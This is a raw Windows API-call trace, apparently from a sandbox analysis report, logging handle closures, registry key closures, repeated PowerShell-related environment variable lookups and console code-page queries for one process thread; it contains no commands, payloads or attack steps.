	[0084.615] RegCloseKey (hKey=0x388) returned 0x0
	[0084.615] RegCloseKey (hKey=0x384) returned 0x0
	[0084.615] RegCloseKey (hKey=0x380) returned 0x0
	[0084.615] RegCloseKey (hKey=0x310) returned 0x0
	[0084.616] RegCloseKey (hKey=0x338) returned 0x0
	[0086.329] RegCloseKey (hKey=0x33c) returned 0x0
	[0089.083] CloseHandle (hObject=0x6f) returned 1
	[0089.083] GetLastError () returned 0x0
	[0089.083] CloseHandle (hObject=0x6b) returned 1
	[0089.083] GetLastError () returned 0x0
	[0089.083] CloseHandle (hObject=0x12b) returned 1
	[0089.084] GetLastError () returned 0x0
	[0089.084] CloseHandle (hObject=0x127) returned 1
	[0089.084] GetLastError () returned 0x0
	[0089.084] CloseHandle (hObject=0xe7) returned 1
	[0089.085] GetLastError () returned 0x0
	[0089.085] CloseHandle (hObject=0xe3) returned 1
	[0089.085] GetLastError () returned 0x0
	[0089.085] CloseHandle (hObject=0xdf) returned 1
	[0089.086] GetLastError () returned 0x0
	[0089.086] CloseHandle (hObject=0x153) returned 1
	[0089.086] GetLastError () returned 0x0
	[0089.086] CloseHandle (hObject=0x67) returned 1
	[0089.086] GetLastError () returned 0x0
	[0089.086] CloseHandle (hObject=0x63) returned 1
	[0089.086] GetLastError () returned 0x0
	[0089.086] CloseHandle (hObject=0x5f) returned 1
	[0089.087] GetLastError () returned 0x0
	[0089.087] CloseHandle (hObject=0x14f) returned 1
	[0089.087] GetLastError () returned 0x0
	[0089.087] CloseHandle (hObject=0x14b) returned 1
	[0089.087] GetLastError () returned 0x0
	[0089.087] CloseHandle (hObject=0x10b) returned 1
	[0089.087] GetLastError () returned 0x0
	[0089.087] CloseHandle (hObject=0x107) returned 1
	[0089.088] GetLastError () returned 0x0
	[0089.088] CloseHandle (hObject=0x103) returned 1
	[0089.088] GetLastError () returned 0x0
	[0089.088] CloseHandle (hObject=0xdb) returned 1
	[0089.088] GetLastError () returned 0x0
	[0089.088] CloseHandle (hObject=0x5b) returned 1
	[0089.088] GetLastError () returned 0x0
	[0089.089] CloseHandle (hObject=0x57) returned 1
	[0089.089] GetLastError () returned 0x0
	[0089.089] CloseHandle (hObject=0x53) returned 1
	[0089.089] GetLastError () returned 0x0
	[0089.089] CloseHandle (hObject=0xd7) returned 1
	[0089.089] GetLastError () returned 0x0
	[0089.089] CloseHandle (hObject=0xd3) returned 1
	[0089.090] GetLastError () returned 0x0
	[0089.090] CloseHandle (hObject=0xaf) returned 1
	[0089.090] GetLastError () returned 0x0
	[0089.090] CloseHandle (hObject=0xab) returned 1
	[0089.090] GetLastError () returned 0x0
	[0089.090] CloseHandle (hObject=0xa7) returned 1
	[0089.090] GetLastError () returned 0x0
	[0089.090] CloseHandle (hObject=0x13b) returned 1
	[0089.091] GetLastError () returned 0x0
	[0089.091] CloseHandle (hObject=0x4f) returned 1
	[0089.091] GetLastError () returned 0x0
	[0089.091] CloseHandle (hObject=0x4b) returned 1
	[0089.091] GetLastError () returned 0x0
	[0089.091] CloseHandle (hObject=0x47) returned 1
	[0089.091] GetLastError () returned 0x0
	[0089.091] CloseHandle (hObject=0x137) returned 1
	[0089.092] GetLastError () returned 0x0
	[0089.092] CloseHandle (hObject=0x133) returned 1
	[0089.092] GetLastError () returned 0x0
	[0089.092] CloseHandle (hObject=0x123) returned 1
	[0089.092] GetLastError () returned 0x0
	[0089.092] CloseHandle (hObject=0x11f) returned 1
	[0089.092] GetLastError () returned 0x0
	[0089.092] CloseHandle (hObject=0x11b) returned 1
	[0089.093] GetLastError () returned 0x0
	[0089.093] CloseHandle (hObject=0xa3) returned 1
	[0089.093] GetLastError () returned 0x0
	[0089.093] CloseHandle (hObject=0x43) returned 1
	[0089.093] GetLastError () returned 0x0
	[0089.093] CloseHandle (hObject=0x3f) returned 1
	[0089.093] GetLastError () returned 0x0
	[0089.093] CloseHandle (hObject=0x3b) returned 1
	[0089.094] GetLastError () returned 0x0
	[0089.094] CloseHandle (hObject=0x9f) returned 1
	[0089.094] GetLastError () returned 0x0
	[0089.094] CloseHandle (hObject=0x9b) returned 1
	[0089.094] GetLastError () returned 0x0
	[0089.094] CloseHandle (hObject=0xcf) returned 1
	[0089.094] GetLastError () returned 0x0
	[0089.095] CloseHandle (hObject=0xcb) returned 1
	[0089.095] GetLastError () returned 0x0
	[0089.095] CloseHandle (hObject=0xc7) returned 1
	[0089.095] GetLastError () returned 0x0
	[0089.095] CloseHandle (hObject=0xff) returned 1
	[0089.095] GetLastError () returned 0x0
	[0089.095] CloseHandle (hObject=0x37) returned 1
	[0089.096] GetLastError () returned 0x0
	[0089.096] CloseHandle (hObject=0x33) returned 1
	[0089.096] GetLastError () returned 0x0
	[0089.096] CloseHandle (hObject=0x2f) returned 1
	[0089.096] GetLastError () returned 0x0
	[0089.096] CloseHandle (hObject=0xfb) returned 1
	[0089.096] GetLastError () returned 0x0
	[0089.097] CloseHandle (hObject=0xf7) returned 1
	[0089.097] GetLastError () returned 0x0
	[0089.097] CloseHandle (hObject=0x97) returned 1
	[0089.097] GetLastError () returned 0x0
	[0089.097] CloseHandle (hObject=0x93) returned 1
	[0089.097] GetLastError () returned 0x0
	[0089.097] CloseHandle (hObject=0x8f) returned 1
	[0089.098] GetLastError () returned 0x0
	[0089.098] CloseHandle (hObject=0x147) returned 1
	[0089.098] GetLastError () returned 0x0
	[0089.098] CloseHandle (hObject=0x2b) returned 1
	[0089.098] GetLastError () returned 0x0
	[0089.098] CloseHandle (hObject=0x27) returned 1
	[0089.098] GetLastError () returned 0x0
	[0089.098] CloseHandle (hObject=0x23) returned 1
	[0089.099] GetLastError () returned 0x0
	[0089.099] CloseHandle (hObject=0x143) returned 1
	[0089.099] GetLastError () returned 0x0
	[0089.099] CloseHandle (hObject=0x13f) returned 1
	[0089.099] GetLastError () returned 0x0
	[0089.099] CloseHandle (hObject=0xc3) returned 1
	[0089.099] GetLastError () returned 0x0
	[0089.099] CloseHandle (hObject=0xbf) returned 1
	[0089.100] GetLastError () returned 0x0
	[0089.100] CloseHandle (hObject=0xbb) returned 1
	[0089.100] GetLastError () returned 0x0
	[0089.100] CloseHandle (hObject=0x8b) returned 1
	[0089.100] GetLastError () returned 0x0
	[0089.100] CloseHandle (hObject=0x87) returned 1
	[0089.100] GetLastError () returned 0x0
	[0089.100] CloseHandle (hObject=0x1f) returned 1
	[0089.101] GetLastError () returned 0x0
	[0089.101] CloseHandle (hObject=0x1b) returned 1
	[0089.101] GetLastError () returned 0x0
	[0089.101] CloseHandle (hObject=0x83) returned 1
	[0089.101] GetLastError () returned 0x0
	[0089.101] CloseHandle (hObject=0x17) returned 1
	[0089.101] GetLastError () returned 0x0
	[0089.101] CloseHandle (hObject=0x13) returned 1
	[0089.102] GetLastError () returned 0x0
	[0089.102] CloseHandle (hObject=0xf) returned 1
	[0089.102] GetLastError () returned 0x0
	[0089.102] CloseHandle (hObject=0xb7) returned 1
	[0089.102] GetLastError () returned 0x0
	[0089.102] CloseHandle (hObject=0xb3) returned 1
	[0089.102] GetLastError () returned 0x0
	[0089.103] CloseHandle (hObject=0x15f) returned 1
	[0089.103] GetLastError () returned 0x0
	[0089.103] CloseHandle (hObject=0x15b) returned 1
	[0089.103] GetLastError () returned 0x0
	[0089.103] CloseHandle (hObject=0x157) returned 1
	[0089.103] GetLastError () returned 0x0
	[0089.103] CloseHandle (hObject=0xf3) returned 1
	[0089.104] GetLastError () returned 0x0
	[0089.104] CloseHandle (hObject=0x7f) returned 1
	[0089.104] GetLastError () returned 0x0
	[0089.104] CloseHandle (hObject=0x7b) returned 1
	[0089.104] GetLastError () returned 0x0
	[0089.104] CloseHandle (hObject=0x77) returned 1
	[0089.104] GetLastError () returned 0x0
	[0089.105] CloseHandle (hObject=0xef) returned 1
	[0089.105] GetLastError () returned 0x0
	[0089.105] CloseHandle (hObject=0xeb) returned 1
	[0089.105] GetLastError () returned 0x0
	[0089.105] CloseHandle (hObject=0x117) returned 1
	[0089.105] GetLastError () returned 0x0
	[0089.105] CloseHandle (hObject=0x113) returned 1
	[0089.105] GetLastError () returned 0x0
	[0089.106] CloseHandle (hObject=0x10f) returned 1
	[0089.106] GetLastError () returned 0x0
	[0089.106] CloseHandle (hObject=0x12f) returned 1
	[0089.106] GetLastError () returned 0x0
	[0089.106] CloseHandle (hObject=0x73) returned 1
	[0089.106] GetLastError () returned 0x0

Thread:
	id = 35
	os_tid = 0x9ac

	[0086.113] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0086.145] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0086.149] VirtualQuery (in: lpAddress=0x5eae660, lpBuffer=0x5eaf660, dwLength=0x1c | out: lpBuffer=0x5eaf660*(BaseAddress=0x5eae000, AllocationBase=0x5520000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0086.153] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.153] GetLastError () returned 0xcb
	[0086.157] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.157] GetLastError () returned 0xcb
	[0086.158] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.158] GetLastError () returned 0xcb
	[0086.174] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.174] GetLastError () returned 0xcb
	[0086.177] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.177] GetLastError () returned 0xcb
	[0086.178] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.178] GetLastError () returned 0xcb
	[0086.209] VirtualQuery (in: lpAddress=0x5eae77c, lpBuffer=0x5eaf77c, dwLength=0x1c | out: lpBuffer=0x5eaf77c*(BaseAddress=0x5eae000, AllocationBase=0x5520000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0086.210] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.210] GetLastError () returned 0xcb
	[0086.212] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.212] GetLastError () returned 0xcb
	[0086.212] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.212] GetLastError () returned 0xcb
	[0086.245] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.245] GetLastError () returned 0xcb
	[0086.258] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.258] GetLastError () returned 0xcb
	[0086.309] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.309] GetLastError () returned 0xcb
	[0086.310] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.310] GetLastError () returned 0xcb
	[0086.311] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.311] GetLastError () returned 0xcb
	[0086.312] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.312] GetLastError () returned 0xcb
	[0086.312] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.312] GetLastError () returned 0xcb
	[0086.313] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.313] GetLastError () returned 0xcb
	[0086.314] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.314] GetLastError () returned 0xcb
	[0086.344] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6924f0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.344] GetLastError () returned 0xcb
	[0086.942] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.942] GetLastError () returned 0xcb
	[0086.945] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.945] GetLastError () returned 0xcb
	[0086.963] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.964] GetLastError () returned 0xcb
	[0086.970] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.970] GetLastError () returned 0xcb
	[0086.971] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.971] GetLastError () returned 0xcb
	[0086.998] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0086.998] GetLastError () returned 0xcb
	[0087.010] VirtualQuery (in: lpAddress=0x5eade4c, lpBuffer=0x5eaee4c, dwLength=0x1c | out: lpBuffer=0x5eaee4c*(BaseAddress=0x5ead000, AllocationBase=0x5520000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0087.020] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0087.021] GetLastError () returned 0xcb
	[0087.094] VirtualQuery (in: lpAddress=0x5eade4c, lpBuffer=0x5eaee4c, dwLength=0x1c | out: lpBuffer=0x5eaee4c*(BaseAddress=0x5ead000, AllocationBase=0x5520000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0087.209] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf
	[0087.210] GetLastError () returned 0xcb
	[0087.210] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5eae990 | out: lpConsoleScreenBufferInfo=0x5eae990) returned 1
	[0087.210] GetLastError () returned 0xcb
	[0087.353] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0087.353] GetLastError () returned 0xcb
	[0087.407] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x5eaf0a4 | out: lpConsoleScreenBufferInfo=0x5eaf0a4) returned 1
	[0087.407] GetLastError () returned 0xcb
	[0087.421] GetConsoleOutputCP () returned 0x1b5
	[0087.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0087.424] GetLastError () returned 0xcb
	[0087.424] GetConsoleOutputCP () returned 0x1b5
	[0087.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0087.424] GetLastError () returned 0xcb
	[0087.424] GetConsoleOutputCP () returned 0x1b5
	[0087.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0087.424] GetLastError () returned 0xcb
	[0087.424] GetConsoleOutputCP () returned 0x1b5
	[0087.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0087.425] GetLastError () returned 0xcb
	[0087.425] GetConsoleOutputCP () returned 0x1b5
	[0087.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.425] GetLastError () returned 0xcb
	[0087.425] GetConsoleOutputCP () returned 0x1b5
	[0087.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.425] GetLastError () returned 0xcb
	[0087.425] GetConsoleOutputCP () returned 0x1b5
	[0087.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.425] GetLastError () returned 0xcb
	[0087.425] GetConsoleOutputCP () returned 0x1b5
	[0087.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.425] GetLastError () returned 0xcb
	[0087.425] GetConsoleOutputCP () returned 0x1b5
	[0087.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.426] GetLastError () returned 0xcb
	[0087.426] GetConsoleOutputCP () returned 0x1b5
	[0087.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.426] GetLastError () returned 0xcb
	[0087.426] GetConsoleOutputCP () returned 0x1b5
	[0087.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.426] GetLastError () returned 0xcb
	[0087.426] GetConsoleOutputCP () returned 0x1b5
	[0087.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.426] GetLastError () returned 0xcb
	[0087.426] GetConsoleOutputCP () returned 0x1b5
	[0087.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.426] GetLastError () returned 0xcb
	[0087.426] GetConsoleOutputCP () returned 0x1b5
	[0087.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.426] GetLastError () returned 0xcb
	[0087.426] GetConsoleOutputCP () returned 0x1b5
	[0087.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.426] GetLastError () returned 0xcb
	[0087.427] GetConsoleOutputCP () returned 0x1b5
	[0087.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.427] GetLastError () returned 0xcb
	[0087.427] GetConsoleOutputCP () returned 0x1b5
	[0087.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.427] GetLastError () returned 0xcb
	[0087.427] GetConsoleOutputCP () returned 0x1b5
	[0087.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.427] GetLastError () returned 0xcb
	[0087.427] GetConsoleOutputCP () returned 0x1b5
	[0087.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.427] GetLastError () returned 0xcb
	[0087.427] GetConsoleOutputCP () returned 0x1b5
	[0087.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.427] GetLastError () returned 0xcb
	[0087.427] GetConsoleOutputCP () returned 0x1b5
	[0087.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.427] GetLastError () returned 0xcb
	[0087.427] GetConsoleOutputCP () returned 0x1b5
	[0087.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.428] GetLastError () returned 0xcb
	[0087.428] GetConsoleOutputCP () returned 0x1b5
	[0087.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.428] GetLastError () returned 0xcb
	[0087.428] GetConsoleOutputCP () returned 0x1b5
	[0087.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.428] GetLastError () returned 0xcb
	[0087.428] GetConsoleOutputCP () returned 0x1b5
	[0087.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.428] GetLastError () returned 0xcb
	[0087.428] GetConsoleOutputCP () returned 0x1b5
	[0087.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.428] GetLastError () returned 0xcb
	[0087.428] GetConsoleOutputCP () returned 0x1b5
	[0087.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.428] GetLastError () returned 0xcb
	[0087.428] GetConsoleOutputCP () returned 0x1b5
	[0087.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.428] GetLastError () returned 0xcb
	[0087.429] GetConsoleOutputCP () returned 0x1b5
	[0087.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.429] GetLastError () returned 0xcb
	[0087.429] GetConsoleOutputCP () returned 0x1b5
	[0087.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.429] GetLastError () returned 0xcb
	[0087.429] GetConsoleOutputCP () returned 0x1b5
	[0087.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.429] GetLastError () returned 0xcb
	[0087.429] GetConsoleOutputCP () returned 0x1b5
	[0087.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.429] GetLastError () returned 0xcb
	[0087.429] GetConsoleOutputCP () returned 0x1b5
	[0087.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.429] GetLastError () returned 0xcb
	[0087.429] GetConsoleOutputCP () returned 0x1b5
	[0087.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.429] GetLastError () returned 0xcb
	[0087.429] GetConsoleOutputCP () returned 0x1b5
	[0087.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.430] GetLastError () returned 0xcb
	[0087.430] GetConsoleOutputCP () returned 0x1b5
	[0087.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.430] GetLastError () returned 0xcb
	[0087.430] GetConsoleOutputCP () returned 0x1b5
	[0087.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.430] GetLastError () returned 0xcb
	[0087.430] GetConsoleOutputCP () returned 0x1b5
	[0087.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.430] GetLastError () returned 0xcb
	[0087.430] GetConsoleOutputCP () returned 0x1b5
	[0087.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.430] GetLastError () returned 0xcb
	[0087.430] GetConsoleOutputCP () returned 0x1b5
	[0087.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.430] GetLastError () returned 0xcb
	[0087.430] GetConsoleOutputCP () returned 0x1b5
	[0087.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.431] GetLastError () returned 0xcb
	[0087.431] GetConsoleOutputCP () returned 0x1b5
	[0087.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.431] GetLastError () returned 0xcb
	[0087.431] GetConsoleOutputCP () returned 0x1b5
	[0087.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.431] GetLastError () returned 0xcb
	[0087.431] GetConsoleOutputCP () returned 0x1b5
	[0087.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.431] GetLastError () returned 0xcb
	[0087.431] GetConsoleOutputCP () returned 0x1b5
	[0087.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.431] GetLastError () returned 0xcb
	[0087.431] GetConsoleOutputCP () returned 0x1b5
	[0087.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.431] GetLastError () returned 0xcb
	[0087.431] GetConsoleOutputCP () returned 0x1b5
	[0087.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.431] GetLastError () returned 0xcb
	[0087.431] GetConsoleOutputCP () returned 0x1b5
	[0087.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
